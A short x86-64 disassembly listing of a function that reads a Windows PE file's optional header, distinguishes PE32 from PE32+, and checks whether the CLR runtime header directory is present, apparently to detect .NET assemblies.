je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret